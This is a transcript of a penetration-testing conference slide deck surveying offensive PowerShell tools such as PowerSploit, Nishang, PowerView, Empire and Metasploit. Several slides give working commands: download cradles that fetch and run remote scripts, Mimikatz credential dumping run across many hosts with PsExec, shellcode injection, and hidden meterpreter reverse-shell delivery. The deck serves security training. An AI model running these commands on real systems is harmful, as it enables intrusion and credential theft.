Presentation is loading. Please wait.

Presentation is loading. Please wait.

PowerShell for Cyber Warriors

Similar presentations


Presentation on theme: "PowerShell for Cyber Warriors"— Presentation transcript:

1 PowerShell for Cyber Warriors
Image: ABSTRACT: Powershell, the new hotness, is an interactive object-oriented command environment that has revolutionized the ability to interact with the Windows operating systems in a programmatic manner. This environment significantly increases the capabilities of administrators, attackers, defenders, and malware authors alike. This presentation introduces popular PowerShell tools and techniques used by penetration testers and blue team members. Tools range from in-memory only remote administration tools to Active Directory enumeration and from reverse engineering to incident response. Additionally, we will review a couple of pieces of malware that leverage PowerShell and provide information on detecting or defending against previously discussed attacks. If you're a CyberWarrior, this presentation will undoubtedly up your game by equipping you with knowledge on the almighty PowerShell. PowerShell for Cyber Warriors by Russel Van Tuyl

2 Who Am I? Security Analyst TN Air National Guard SANS MSISE Student
Father of 2, Husband to 1 @Ne0nd0g A little information about me: -I’m a Security Analyst w Sword & Shield here in Knoxville. -I primarily do network vulnerability assessments and penetration testing -I’m a member of the TN ANG here in Knoxville as well -SANS Master of Science Information Security Engineering -You can reach me by or at Twitter

3 Disclaimer DISCLAIMER
Don’t believe anything I say; verify for yourself If I have something wrong, please let me know; I make mistakes just as everyone does

4 Outline Introduction to PowerShell Basics Module Loading PSRemoting
Attack Tools Tool Suites powershell.exe Alternatives Agents Malware Forensic/Reverse Engineering Tools Defending Attacks

5 What is PowerShell? Image: Ref: Windows PowerShell is an interactive object-oriented command environment with scripting language features that utilizes small programs called cmdlets to simplify configuration, administration, and management of heterogeneous environments in both standalone and networked typologies by utilizing standards-based remoting protocols.

6 PowerShell Basics powershell.exe Built on .NET Framework Verb-Noun
Tab Complete Alias Structured Data/Objects Syntax Highlighting (version 5) Released in 2006 on XP*/Vista/Server 2003 .ps1 Modules .psm1 Integrated Scripting Environment (ISE) Compile to .exe Powershell.exe replaces the need to use cmd.exe . You can first open cmd.exe and then run powershell.exe for an interactive session Powershell has full access to the .NET framework Commands on the system follow a Verb-Noun structure Have you ever tried to ‘ls’ on a Windows box? Well, it works just fine in PowerShell thanks to aliases PowerShell utilizes structured data objects. This allows you to better handle data. This way you don’t have to try and detect where the data you want is at in the output. Version 5 (Windows 10/Server 2016) comes with syntax highlighting PowerShell was first released in 2006 and installed by default on Windows Vista PowerShell scripts are saved into .ps1 files. It is important to note that you can’t double-click and run these .ps1 file PowerShell comes with a built-in IDE, called the PowerShell ISE PowerShell can be compiled to an .exe with tools such as PowerGUI or PS2EXE

7 PowerShell Basics Get-Help Get-Help is an essential command to know. Use it to find out more about any command you wish to run.

8 PowerShell Basics Get-Member Use the Get-Member cmdlet to get an objects methods, properties, and other attributes

9 Use Cases Powerful tool for interacting with Windows PSRemoting
Why it is used Powerful tool for interacting with Windows PSRemoting Future SSH Integration Antivirus/Application Blacklisting Bypass Red Team Blue Team Malware In Memory only execution Image: Ref: Because of the ability to use the .Net library, write scripts, and interact with objects, PowerShell is an invaluable tool for interacting with Windows PSRemoting allows you to remotely access a system. You can also run a script from your local machine one time across many computer in a domain or network Powershell.exe is usually overlooked by antivirus and application restrictions; This makes it a great choice to use by attackers Red teams are using it for attack and Blue teams are using it for response; Malware is using it for evil Powershell code can be downloaded into memory and executed using the IEX download cradle; This prevents writing files to disk

10 PSRemoting Disabled by default Enable-PSRemoting –Force Trusted hosts
5985 (HTTP)/5986 (HTTPS) 47001 Invoke-Command Enter-PSSession A screen shot of establishing a PSRemoting session to and subsequently running a few commands Must set trusted hosts on BOTH computers if not on a domain: Set-Item wsman:\localhost\client\trustedhosts * Ref:

11 Module & Script Loading
Execution Policy The execution policy determines if PowerShell scripts can be run on a host. Change it to Unrestricted to run PowerShell scripts on a lab host. If you can’t change the execution policy, you can bypass it with powerShell.exe -ExecutionPolicy Bypass -File .runme.ps1 PowerShell modules (.psm1 files) can be imported using the Import-Module function. Additionally, .ps1 files can be imported using dot sourcing (. .\script.ps1). Ref: Import-Module Dot Sourcing

12 IEX Download Cradle Download from anywhere SMB HTTP In-Memory
No files on disk The IEX download cradle is an essential tool for downloading PowerShell scripts from a remote host into memory. You can terminate the command with an semicolon and immediately run a command from the script. IEX (New-Object System.Net.Webclient).DownloadString(' -h

13 PowerShell Tools - Attack
PowerShellArsenal PowerShell-AD-Recon Fathomless PoshRat Metasploit DSInternals DSCompromised OWA-Toolkit PowerSploit Nishang PowerCat Inveigh Empire DarkObserver PowerShell Suite PowerMemory Empire - a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture PowerSploit - collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment PowerTools - a collection of PowerShell projects with a focus on offensive operations. Kansa - A modular incident response framework Nishang - a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and penetration testing PowerCat – Netcat in PowerShell Inveight - LLMNR/NBNS spoofer PowerShellArsenal - a PowerShell module used to aid a reverse engineer Subvert-PE.ps1 - programmatically injecting shellcode into PE executables on disk Now part of “PowerShell Suite” PowerMemory - Exploit the credentials present in files and memory Image:

14 PowerMemory Capabilities Grab Credentials from Memory
Pierre-Alexandre Braeken - Capabilities Grab Credentials from Memory Perform Active Directory Assessment Scan Service Network Flow of Operations Creates a memory dump Reads the memory dump Decrypts the memory dump Exfiltrate Does not inject into other processes Uses Microsoft Signed Binaries Uses WMI for remote dump Virtual Machine Snapshots Works on Windows 10/Server 2016 Uses PowerShell and WinDbg, a tool for debugging memory dumps. Ref:

15 PowerMemory Pierre-Alexandre Braeken - A screen shot of the menu from the main application (left) and a screen shot of the Reveal Windows Memory Credentials from the .\PowerMemory\RWMC directory Ref:

16 PowerMemory Pierre-Alexandre Braeken - The output file containing the clear-text credentials from a Windows 10 host Ref:

17 PowerShell-AD-Recon Discover-PSInterestingServices
Sean Metcalf - Discover-PSInterestingServices Discover network servers with interesting services without port scanning Discover-PSMSExchangeServers Discover Microsoft Exchange servers without port scanning Discover-PSMSSQLServers Discover Microsoft SQL servers without port scanning Find-PSServiceAccounts Discovers all user accounts configured with a ServicePrincipalName in the Active Directory domain or forest Get-DomainKerberosPolicy Get-PSADForestInfo Get-PSADForestKRBTGTInfo These modules can be used to query Active Directory (AD) to get information about network services to include the location of Exchange and SQL servers. Additionally, it can be used to get a list of all the service accounts. This can be leveraged to perform offline Kerberos Ticket cracking with Tim Medin’s Kerberoast Ref:

18 PowerShell-AD-Recon by Sean Metcalf @PyroTek3
Screen shot running the Discover-PSMSSQLServers and Find-PSServiceAccounts modules. Ref:

19 FTP w/ Powershell John Savill - A screen shot of setting up a FTP connection and subsequently connecting to a FTP server. Import-Module PSFTP $FTPServer = 'ftp.host.com' $FTPUsername = 'username' $FTPPassword = 'password' $FTPSecurePassword = ConvertTo-SecureString -String $FTPPassword -asPlainText -Force $FTPCredential = New-Object System.Management.Automation.PSCredential($FTPUsername,$FTPSecurePassword) Set-FTPConnection -Credentials $FTPCredential -Server $FTPServer -Session MySession -UsePassive  $Session = Get-FTPConnection -Session MySession  Get-FTPChildItem -Session $Session -Path /htdocs #-Recurse Ref:

20 DSInternals PowerShell Module
Michael Grafnetter - Offline AD Database Access: Get-ADDBAccount Get-ADDBDomainController Get-BootKey Get-ADDBBackupKey Get-ADDBSchemaAttribute Add-ADDBSidHistory Set-ADDBPrimaryGroup Set-ADDBDomainController Set-ADDBBootKey Remove-ADDBObject Online AD Database Access: Get-ADReplAccount Get-ADReplBackupKey Set-SamAccountPasswordHash Password Hash Calculation: ConvertTo-NTHash ConvertTo-LMHash ConvertTo-OrgIdHash Password Decryption: ConvertFrom-ADManagedPasswordBlob ConvertFrom-UnicodePassword ConvertTo-UnicodePassword ConvertFrom-GPPrefPassword ConvertTo-GPPrefPassword Misc: ConvertTo-Hex Save-DPAPIBlob Requires PowerShell v3 and .Net REF:

21 DSInternals – ntds.dit Extracting the ntds.dit file the DSInternals suite. Had to create installation media w/ ntdsutil prior for this to work. Ref:

22 DarkObserver Windows PowerShell domain scanning tool
Ian Anderson - Windows PowerShell domain scanning tool IEX (New-Object Net.WebClient).DownloadString(‘ Ref:

23 OWA-Toolkit OTK-Init  A base cmd-let to produce an Exchange Web Service object Brute-EWS Brute force credentials by testing credentials against an Exchange Web Service Steal-GAL Enumerate and copy the Global Address List from an exposed Exchange Web Service Don’t have internal access to the Domain Controller? No problem, use OWA instead. Password spray with ‘Winter2015’ against all accounts Ref:

24 Powercat Powercat is simply netcat written in PowerShell. As previously mentioned, this is useful because it can be download from the internet and into memory. This is a screenshot of me creating a bind shell. -l Listen for a connection. -c Connect to a listener. -p The port to connect to, or listen on. -e Execute. (GAPING_SECURITY_HOLE) -ep Execute Powershell. -r Relay. Format: "-r tcp: :443" -u Transfer data over UDP. -dns Transfer data over dns (dnscat2). -dnsft DNS Failure Threshold. -t Timeout option. Default: 60 -i Input: Filepath (string), byte array, or string. -o Console Output Type: "Host", "Bytes", or "String" -of Output File Path. -d Disconnect after connecting -rep Repeater. Restart after disconnecting -g Generate Payload. -ge Generate Encoded Payload -h Print the help message Ref:

25 Powercat PowerShell Shell When I connect to the previously created PowerShell shell on the remote host, I have powershell.exe terminal access.

26 Inveigh Kevin Robertson - Like Python Responder, but in PowerShell. This tool will conduct NetBIOS and LLMNR style spoofing attacks on a network. The first command disables the host’s firewall. This is because many ports & services are opened up to handle the poisioned requests that will come back. This is essential to capturing credentials. The bottom of the image contains the HTTP NetNTLMv2 hash. This hash can’t be passed like traditional LM/NTLM hashes. However, it can be cracked. Ref:

27 PowerTools PewPewPew PowerBreach PowerPick PowerUp PowerView
Will Schroeder/Justin Warner - - PewPewPew Scripts that utilize a common pattern to host a script on a PowerShell webserver, invoke the IEX download cradle to download/execute the target code and post the results back to the server, and then post-process any results. PowerBreach A backdoor toolkit that aims to provide the user a wide variety of methods to backdoor a system PowerPick This project focuses on allowing the execution of PowerShell functionality without the use of powershell.exe. Primarily this project uses.NET assemblies/libraries to start execution of the PowerShell scripts. PowerUp A PowerShell tool to assist with local privilege escalation on Windows systems. PowerView A PowerShell tool to gain network situational awareness on Windows domains. Ref:

28 PowerView Misc Functions (21):
Get-DomainSID return the SID for the specified domain Convert-SidToName converts a security identifier (SID) to a group/user name Get-Proxy enumerates local proxy settings Get-UserProperty returns all properties specified for users, or a set of user:prop names Find-InterestingFile search a local or remote path for files with specific terms in the name Invoke-CheckLocalAdminAccess check if the current user context has local administrator access to a specified host Net * Functions (26): Get-NetForestDomain gets all domains for the current forest Get-NetDomainController gets the domain controllers for the current computer's domain Get-NetUser returns all user objects, or the user specified (wildcard specifiable) Get-NetComputer gets a list of all current servers in the domain Get-NetGroupMember gets a list of all current users in a specified domain group Get-NetFileServer get a list of file servers used by current domain users GPO Functions (6): Get-NetGPO gets all current GPOs for a given domain Get-DomainPolicy returns the default domain or DC policy A listing of some of PowerView’s functions. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Get-DomainSID can be used to get the domain’s unique identifier; This can later be used for Golden Ticket creation and username enumeration Convert-SidToName can be used to find the username associated with the RID 500 account. Ref:

29 PowerView User-Hunting Functions (4):
Invoke-UserHunter finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines Invoke-StealthUserHunter finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users Domain Trust Functions (5): Get-NetDomainTrust gets all trusts for the current user's domain Invoke-MapDomainTrust try to build a relational mapping of all domain trusts Meta Functions (7): Find-LocalAdminAccess finds machines on the domain that the current user has local admin access to Get-ExploitableSystem finds systems likely vulnerable to common exploits Invoke-EnumerateLocalAdmin enumerates members of the local Administrators groups across all machines in the domain Ref:

30 PowerView Misc Functions Use the Misc functions to gather some domain information. The Domain’s SID can used to find accounts by a User’s SID. SID 500 is the built-in Administrator account. A Domain’s SID can also be used when crafting Golden/Silver Tickets. The Get-UserProperty function can be used to enumerate fields of a user’s OU properties such as the Description field. This field is often times used to store good information.

31 PowerView Get-NetUser Example output from the Get-NetUser function. This includes all of the fields of a user’s OU. Specefic areas of interest are: lastlogon – Lets you know if the account is still being used badpwdcount – The number of times the user has entered a bad password. Useful if you want to conduct a target brute-force attack pwdlastset – The date of when the password was set. If the password hasn’t been set in years, it could be weak

32 PowerView Get-NetGroupMember Use Get-NetGroupMember to enumerate all of the members of a group, such as the Enterprise Admins group.

33 PowerView GPO Functions Get-DomainPolicy tells me about the password requirements. Can be used to intelligently perform brute-force attacks.

34 PowerView Invoke-UserHunter When this function is run with NO parameters, it will automagically enumerate the domain for all domain admins. After it has a list of domain admins, it will search the network for places where that user is logged in. Perfect for when you’re trying to get your contact’s password. Local Admin check is great when you have an unprivileged user account. Often times that user will have local admin on their own computer(s). After you find it, you can login as local admin and steal other account’s passwords such as local admin RID 500 account or Mimikatz.

35 PowerSploit CodeExecution(5) - Execute code on a target machine.
Matt Graber et al - CodeExecution(5) - Execute code on a target machine. Invoke-DllInjection Injects a Dll into the process ID of your choosing. Invoke-ReflectivePEInjection Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. Invoke-Shellcode Injects shellcode into the process ID of your choosing or within PowerShell locally. Invoke-WmiCommand Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. ScriptModification(4) - Modify and/or prepare scripts for execution on a compromised machine. Out-EncodedCommand Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. Out-EncryptedScript Encrypts text files/scripts. Persistence(5) - Add persistence capabilities to a PowerShell script Add-Persistence Add persistence capabilities to a script. AntivirusBypass(1) - AV doesn't stand a chance against PowerShell! Find-AVSignature Locates single Byte AV signatures utilizing the same method as DSplit from "class101". Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Matt Graeber Joe Bialek Jared Atkinson Will Schroeder Ref:

36 PowerSploit Exfiltration(13) - All your data belong to me!
Functions Exfiltration(13) - All your data belong to me! Invoke-Mimikatz Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. Get-Keystrokes Logs keys pressed, time and the active window. Get-GPPPassword Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. Get-TimedScreenshot A function that takes screenshots at a regular interval and saves them to a folder. Get-VolumeShadowCopy Lists the device paths of all local volume shadow copies. Mayhem(2) - Cause general mayhem with PowerShell. Set-MasterBootRecord Proof of concept code that overwrites the master boot record with the message of your choice. Set-CriticalProcess Causes your machine to blue screen upon exiting PowerShell. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref:

37 PowerSploit Functions Privesc (1) - Tools to help with escalating privileges on a target. PowerUp Clearing house of common privilege escalation checks, along with some weaponization vectors. Recon(4) - Tools to aid in the reconnaissance phase of a penetration test. Invoke-Portscan Does a simple port scan using regular sockets, based (pretty) loosely on nmap. Get-HttpStatus Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. Invoke-ReverseDnsLookup Scans an IP address range for DNS PTR records. PowerView Series of functions that performs network and Windows domain enumeration and exploitation. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref:

38 PowerSploit Invoke-Shellcode Do a demonstration of generating shellcode with MSF Venom and subsequently using Powersploit’s Invoke-Shellcode to inject the code into a process. Generate shellcode with MSF Venom msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=thread -f powershell Import PowerSploit Import-Module C:\Tools\PowerSploit\PowerSploit.psm1 Get Explorer’s process (or any other process you want) Get-Process explorer Inject the shellcode Invoke-Shellcode -Verbose -ProcessID <Process ID> shellcode>) EXAMPLE: Invoke-Shellcode -Verbose -ProcessID 2520 Ref: Get-Help Invoke-Shellcode –full DEMO

39 PowerSploit Screenshot in case the demo doesn’t work
MSFVenom Screenshot in case the demo doesn’t work Generate shellcode with msfvenom that executes a windows command to open calc.exe

40 PowerSploit Screenshot in case the demo doesn’t work
Invoke-Shellcode Screenshot in case the demo doesn’t work Find the process you want to inject the shell code into. Use the Invoke-Shellcode function to inject the previously generated shell code. Notice the line “Do you wish to carry out your evil plans” near the bottom of the image?

41 PowerSploit Additional screenshots of some PowerSploit commands
Out-EncodedCommand Additional screenshots of some PowerSploit commands Out-EncodedCommand can be used to encode a set of commands or an entire PowerShell script. Encoding is useful for all the reasons before when. One use case of particular interest is when handling characters that can’t easily be escaped or multiple quotation sets when embedding one command into another (i.e. when using cmd.exe).

42 PowerSploit Get-Keystrokes Using PowerSploit’s keyloger. I opened up Microsoft Edge and went to and subsequently entered my username and password. If you look far enough down the in the log file, you will see them.

43 PowerSploit Invoke-Portscan Using PowerSploit’s port scanner. This is nice because you can download the port scanner into memory using the IEX download cradle. The top image shows progress bar that is displayed while the scan is running. The bottom image shows the results of the scan. I piped the scan’s output to Where-Object to limit results to only those hosts that are alive. Otherwise all hosts are shown with alive set to False.

44 Invoke-Mimikatz IEX (New-Object Net.WebClient).DownloadString(' Invoke-Mimikatz -DumpCreds A screenshot of the IEX download cradle being used to download InvokeMimikatz.ps1 its GitHub repository and then executed on a Windows 7 host. Clear-text creds are in the red box. expanded is:

45 Mass Mimikatz Part 3 A blog post I wrote on doing Mimikatz en masse across a large network. This blog post outlines how I used a PowerShell ForEach loop to download Invoke-Mimikatz.ps1 with the IEX download cradle. The output is then saved to a network share. A python script was written to parse all the files.

46 Mass Mimikatz Part 3 ForEach ($h in Get-Content C:\hosts.txt){C:\PsExec.exe \\$h -d -e -u ACME\bob -p -s cmd /c powershell -nop -command “& {IEX ((new-object net.webclient).downloadstring(‘\\ \data\Invoke-Mimikatz.ps1′));Invoke-Mimikatz -DumpCreds > \\ \data\%COMPUTERNAME%.txt}”} Powershell statement for Mass Mimikatz

47 Mass Mimikatz Part 3

48 Nishang Nikhil "SamratAshok" Mittal - Antak Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell. Prasadhak Check running hashes of running process against the VirusTotal database. Powerpreter All the functionality of nishang in a single script module. Backdoors(6) HTTP-Backdoor A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory. DNS_TXT_Pwnage A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.. Gupt-Backdoor A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it. Client(7) Out-Word Create Word files and infect existing ones to run PowerShell commands and scripts.. Out-HTA Create a HTA file which can be deployed on a web server and used in phishing campaigns. Out-Java Create signed JAR files which can be used with applets for script and command execution. Escalation(3) Enable-DuplicateToken When SYSTEM privileges are required. Invoke-PsUACme Bypass UAC. Nishang is a nice set of tools written in PowerShell by Nikhil "SamratAshok" Mittal. Many of these functions are unique to Nishang, but some of the functions can be found in other projects. Out-Word is a promising function to infect a word document with PowerShell commands. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref:

49 Nishang Functions Execution(4) Download_Execute Download an executable in text format, convert it to an executable, and execute. Execute-DNSTXT-Code Execute shellcode in memory using DNS TXT queries. Gather(13) Invoke-CredentialsPhish Trick a user into giving credentials in plain text. FireBuster FireListener A pair of scripts for egress testing Get-PassHashes Get password hashes from a target. Get-WLAN-Keys Get WLAN keys in plain text from a target. Invoke-MimikatzWdigestDowngrade Dump user passwords in plain on Windows 8.1 and Server 2012 Show-TargetScreen Connect back and Stream target screen using MJPEG Pivot(3) Invoke-NetworkRelay Create network relays between computers. Scan(2) Brute-Force Brute force FTP, Active Directory, MSSQL, and Sharepoint. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref:

50 Nishang Functions Shells(11) Invoke-PsGcat Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent Invoke-PowerShellTcp An interactive PowerShell reverse connect or bind shell Invoke-PowerShellUdp An interactive PowerShell reverse connect or bind shell over UDP Invoke-PoshRatHttps Reverse interactive PowerShell over HTTPS. Invoke-PowerShellIcmp An interactive PowerShell reverse shell over ICMP. Utility(9) Add-Exfiltration Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script. Add-Persistence Add reboot persistence capability to a script. Parse_Keys Parse keys logged by the keylogger. Invoke-Encode Encode and compress a script or string. Invoke-Decode Decode and decompress a script or string from Invoke-Encode. Start-CaptureServer Run a web server which logs Basic authentication and SMB hashes. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref:

51 Nishang Get-WLAN-Keys Windows kindly stores the information, to include the clear-text password, of every WiFi hotspot you have EVER connected to. The Get-WLAN-Keys script will extract that information.

52 Stream Desktop w/ Nishang & PowerShell
ATTACKER: . C:\Data\Tools\Scripts\Powershell\PowerCat\powercat.ps1 powercat -l -v -p 443 -r tcp:7777 -rep -t 1000 VICTIM . C:\Tools\nishang\Gather\Show-TargetScreen.ps1 Show-TargetScreen -Reverse -IPAddress Port 444

53 PowerShell Suite Invoke-Runas
Invoke-Runas Functionally equivalent to Windows "runas.exe", using Advapi32::CreateProcessWithLogonW Invoke-NetSessionEnum Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines Invoke-CreateProcess Use Kernel32::CreateProcess to achieve fine-grained control over process creation from PowerShell. Conjure-LSASS SeDebugPrivilege to duplicate the LSASS access token and impersonate it in the calling thread Invoke-MS16-032 Discovered by James Forshaw Subvert-PE Inject shellcode into a PE image while retaining the PE functionality. Calculate-Hash PowerShell v2 compatible script to calculate file hashes Check-VTFile Submit SHA256 hash of a file to Virus Total and retrieve the scan report if the hash is known MS16-032/CVE The Secondary Logon Service in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10 Gold and 1511 does not properly process request handles, which allows local users to gain privileges via a crafted application, aka "Secondary Logon Elevation of Privilege Vulnerability."

54 Invoke-Runas.ps1 Screen shot of pulling the Invoke-Runas script into memory and subsequently opening a new cmd.exe window as another user

55 Subvert-PE Powershell PE Injection Demo only for Subvert-PE. This demo injects shellcode into Notepad++ that opens calc. You can edit the script to manually change the shellcode that is injected. Import Subvert-PE . C:\Tools\PowerShell-Suite\Subvert-PE.ps1 Open Notepad++ (No Calc will be displayed) Inject Shellcode Subvert-PE -Path C:\Tools\Notepad++\notepad++.exe –Write Open Notepad++ (Call will be displayed) Ref: DEMO

56 Subvert-PE Powershell PE Injection Subvert-PE can be used to inject shellcode into an existing PE file. The resulting file will execute the injected shellcode and then continue on to run the normal PE application as normal. This will just pop calc.exe as a PoC First half of the command’s output.

57 PS> Attack Precompiled, self contained, portable console
Jared Haight - Precompiled, self contained, portable console No powershell.exe, .Net 3.5 Modules are encrypted, decrypted in memory Modules Powersploit PowerTools Nishang Powercat Inveigh MS16-032 Hot Potato Invoke-MetasploitPayload NAME Invoke-MetasploitPayload SYNOPSIS Kick off a Metasploit Payload using the exploit/multi/script/web_delivery module Author: Jared Haight License: MIT Required Dependencies: None Optional Dependencies: None SYNTAX Invoke-MetasploitPayload [-url] <String> {}[<CommonParameters>] DESCRIPTION Spawns a new, hidden PowerShell window that downloads and executes a Metasploit payload from a specified URL. This relies on the exploit/multi/scripts/web_delivery metasploit module. The web_delivery module generates a script for a given payload and then fires up a webserver to host said script. If the payload is a reverse shell, it will also handle starting up the listener for that payload. An example rc file is below (or you can just type the commands manually). It does the following: * Sets the download cradle to port 8443 (SRVPORT) on all IPs (SRVHOST) * Sets the script target to PowerShell (set target 2) * Sets the payload being served to windows/meterpreter/reverse_https * Sets the payload to listen on port 443 (LPORT) on all IPs (LHOST) ====== Invoke-MetasploitPayload rc file ====== use exploit/multi/script/web_delivery set SRVHOST set SRVPORT 8443 set SSL true set target 2 set payload windows/meterpreter/reverse_https set LHOST set LPORT 443 run -j ==== end Invoke-MetasploitPayload rc file ==== RELATED LINKS Github: REMARKS To see the examples, type: "get-help Invoke-MetasploitPayload -examples". For more information, type: "get-help Invoke-MetasploitPayload -detailed". For technical information, type: "get-help Invoke-MetasploitPayload -full".

58 Not PowerShell Ben Ten - Execute PowerShell commands on a host without powershell.exe Ref:

59 PoshRat Server: JSRat.ps1 PoshRat-Socket.ps1 PoshRatHTTP.ps1
Casey Smith - Server: JSRat.ps1 PoshRat-Socket.ps1 PoshRatHTTP.ps1 PoshRatHTTPS.ps1 PoshRatWebDAV.ps1 PowerShell Reverse HTTP(s) Shell Invoke PoshRat.ps1 On An A server you control. Requires Admin rights to listen on ports. To Spawn The Reverse Shell Run On Client iex (New-Object Net.WebClient).DownloadString(" [OR] Browse to or send link to [OR] For CVE Send link to Created By Casey Target:

60 Metasploit Modules encoder/cmd/powershell_base64 Powershell Base64 Command Encoder exploit/windows/local/powershell_cmd_upgrade Windows Command Shell Upgrade (Powershell) exploit/windows/local/powershell_remoting Powershell Remoting Remote Command Execution exploit/windows/smb/psexec_psh Microsoft Windows Authenticated Powershell Command Execution payload/cmd/windows/powershell_bind_tcp Windows Interactive Powershell Session, Bind TCP payload/cmd/windows/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP payload/cmd/windows/reverse_powershell Windows Command Shell, Reverse TCP (via Powershell) payload/windows/powershell_bind_tcp Windows Interactive Powershell Session, Bind TCP payload/windows/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP payload/windows/x64/powershell_bind_tcp Windows Interactive Powershell Session, Bind TCP payload/windows/x64/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP post/windows/gather/enum_powershell_env Windows Gather Powershell Environment Setting Enumeration post/windows/manage/exec_powershell Windows Powershell Execution Post Module post/windows/manage/powershell/exec_powershell Windows Manage PowerShell Download and/or Execute post/windows/manage/powershell/load_script Load Scripts Into PowerShell Session Metasploit itself has many modules that operate in the PowerShell space.

61 Metasploit – PowerShell Payloads
windows/powershell_bind_tcp - windows/powershell_reverse_tcp

62 Metasploit – Meterpreter Extension
PowerShell Meterpreter Extension functions

63 Metasploit – Meterpreter Extension
Using the PowerShell Meterpreter extension

64 Metasploit – Meterpreter .NET namespaces
Elevate FileSystem Incognito Kiwi Sys Transport User

65 Metasploit – Meterpreter Extension
Using the exposed meterpreter namespace from a PowerShell prompt to interact with the Incognito and Kiwi meterpreter extension.

66 Metasploit – Web Delivery
powershell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring(' Use PowerShell and the IEX download cradle to deliver a meterpreter payload This module quickly fires up a web server that serves a payload. The provided command will start the specified scripting language interpreter and then download and execute the payload. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command himself, e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. Ref:

67 Metasploit PowerShell Web Delivery This demo use Metasploit’s web_delivery module to generate a PowerShell command, that when executed on the victim, will return a meterpreter shell. YOU MUST MAKE SURE THE ARCHITECTURE MATCHES. I use this when I have remote code execution on host, typically through a web app. I also use it to quickly get a meterpreter session on a box without having to download a binary to the host first. No backup slides if this demo fails Setup Metasploit use exploit/multi/script/web_delivery set target 2 set URIPATH pwned set Payload windows/x64/meterpreter/reverse_http set LHOST set LPORT 8888 run –j Run the generated powershell command on the victim’s computer in cmd.exe. It should work if run from powershell.exe, but was giving me problems EXAMPLE: powershell.exe -nop -w hidden -c $q=new-object net.webclient;$q.proxy=[Net.WebRequest]::GetSystemWebProxy();$q.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $q.downloadstring(' DEMO

68 Empire Will Schroeder/Justin Warner/Matt Nelson - - Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. Empire is a powershell agent like Metasploit’s meterpreter. The server portion of the Ref: @harmj0y @sixdub @enigma0x3 Empire development is supported by the Adaptive Threat Division of Veris Group, LLC. Image:

69 Empire Commands ======== agents Jump to the Agents menu.
creds Add/display credentials to/from the database. exit Exit Empire help Displays the help menu. list Lists active agents or listeners. listeners Interact with active listeners. reload Reload one (or all) Empire modules. reset Reset a global option (e.g. IP whitelists). searchmodule Search Empire module names/descriptions. set Set a global option (e.g. IP whitelists). show Show a global option (e.g. IP whitelists). usemodule Use an Empire module. usestager Use an Empire stager. The initial help screen Image:

70 DEMO Empire No backup slides if this demo doesn’t work
Setup a listener (This is required so that an agent has something to connect to) listeners info set Host set Port 8443 execute Use a stager to build the code to be executed on the victim’s host usestager launcher set Listener Demo You should see the agent connect back to the empire server. i.e. [+] Initial agent WMBPBUWVFYYMDMU3 from now active List the agents and interact with one agents Interact <agent name> sysinfo Use one of Empire’s modules. Use <tab><tab> to get a tab completed list of available modules i.e. usemodule <tab><tab> usemodule trollsploit/voicetroll set VoiceText "Hello World“ DEMO

71 PowerEmpire PowerShell Management PowerShell Objects REST API
Carlos Perez - PowerShell Management PowerShell Objects REST API Windows PowerShell module is for the remote control of a headless Empire server via its REST API Importing the module and viewing available commands.

72 PowerEmpire Carlos Perez - Create a sessions with Empire server and subsequently get a list of agents. New-EmpireSession -ComputerName Credential russel –NoSSLCheck Get-EmpireAgent -Id 0 Register-EmpireAgentModuleTask -Id 0 -Module trollsploit/voicetroll Get-EmpireModule -Id 0 -ModuleName trollsploit/thunderstruck Register-EmpireAgentModuleTask -Id 0 –Module trollsploit/thunderstruck

73 PowerEmpire A backup image if the demo doesn’t work.
